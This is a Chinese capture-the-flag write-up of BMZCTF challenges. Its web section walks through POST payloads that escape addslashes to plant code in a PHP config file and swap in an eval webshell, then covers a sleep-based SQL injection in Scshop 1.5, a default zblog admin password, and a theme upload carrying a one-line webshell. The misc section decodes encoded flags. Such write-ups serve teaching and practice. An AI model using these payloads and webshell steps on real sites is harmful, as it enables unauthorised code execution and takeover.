Web
easy_php
审计源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
这里发现可以修改config.php
文件,并且还可以访问的到,所以我们就想到利用php代码拼接
注入恶意代码,但是这里有函数addslashes()
函数限制了注入,我们需要想办法绕过。
addslashes(string $str): string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。
可以在本地测试,观察config.php
文件的修改,
这里出现的漏洞点是第27
行的$content = str_replace($LANG[$key],$_POST['no1'],$content);
通过多次测试我发现了以下的绕过方法,这里我就不细说了。
post:
sudo=1&info[name]=b&no1=\
sudo=1&info[name]=a&no1=';phpinfo();#
sudo=1&info[name]=b&no1=\
config.php
变化如下:
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\';
?>
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\';
$LANG['a'] = '\';phpinfo();#';
?>
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\\\';
$LANG['a'] = '\\';phpinfo();#';
?>
这样就成功逃逸执行了phpinfo()
,然后只需要将';phpinfo();#
替换为';eval($_POST[a]);#
即可getshell
了
zblog-scshop
是个CMS
,尝试了下web.zip
,发现存在源码泄露,是Scshop1.5
,通过网上查找,可以发现在/Core/Program/Ant_Contrl.php
可能存在sql注入
在这个GetIp()
函数中,没有进行严格的过滤发现ip可控并且没有过滤,查看哪里调用了这个函数
我们随便找一个,去Ant_Fc.php
里边看一下
这里的$val
进行了拼接,直觉告诉我这很有可能是利用点,接着看一下AntAdd()
函数,类WD_Data_Process()
是在Ant_Class.php
中定义的,查看该文件
我们发现将刚才的值直接加入了sql
语句进行执行,我们可以构造如下payload进行验证
INSERT INTO $table ($field) VALUES ('1','2',''or sleep(3) or '','3','4');
我们通过搜索Search_Data
来查找哪里调用了这个函数,发现在/Template/Default/File/search.php
需要使得$_POST['search']=1
接下来就可以只需要编写脚本进行盲注,但是不知道为什么爆出来了database()
,其他的什么都没出来...
赛后和师傅们交流了一下,说是拿sqlmap
可以跑出来,更有师傅说根本不用爆破...emmm,直接在评论区直接找到了zblog
的用户名,密码是默认密码,直接登录了zblog
的后台。
账号密码为:WHTadmin/admin888
然后通过主题文件的上传进行getshell
下载主题,然后在vscode
中打开.zba
文件,我这里找的是comment.php
<path>HTML5CSS3/template/comment.php</path><stream>base64编码内容</stream>
将编码改为一句话木马的base64
编码,然后再将主题上传上去,然后访问/zblog/zb_users/theme/[主题名]/template/comment.php
成功getshell
后就可以获取flag
了
Misc
do_you_know_it
附件:
查阅https://detexify.kirelabs.org/symbols.html
得flag{Play_with_LaTeX}
签到题
56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d
==>十六进制转换
VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0
==>两次base64decode
MZWGCZ33IZWGCZ27JFZV6TTPORUGS3THPU======
==>一次base32decode
flag{Flag_Is_Nothing}
标签:file,BMZCTF,content,key,POST,php,no1
From: https://www.cnblogs.com/seizer/p/17035763.html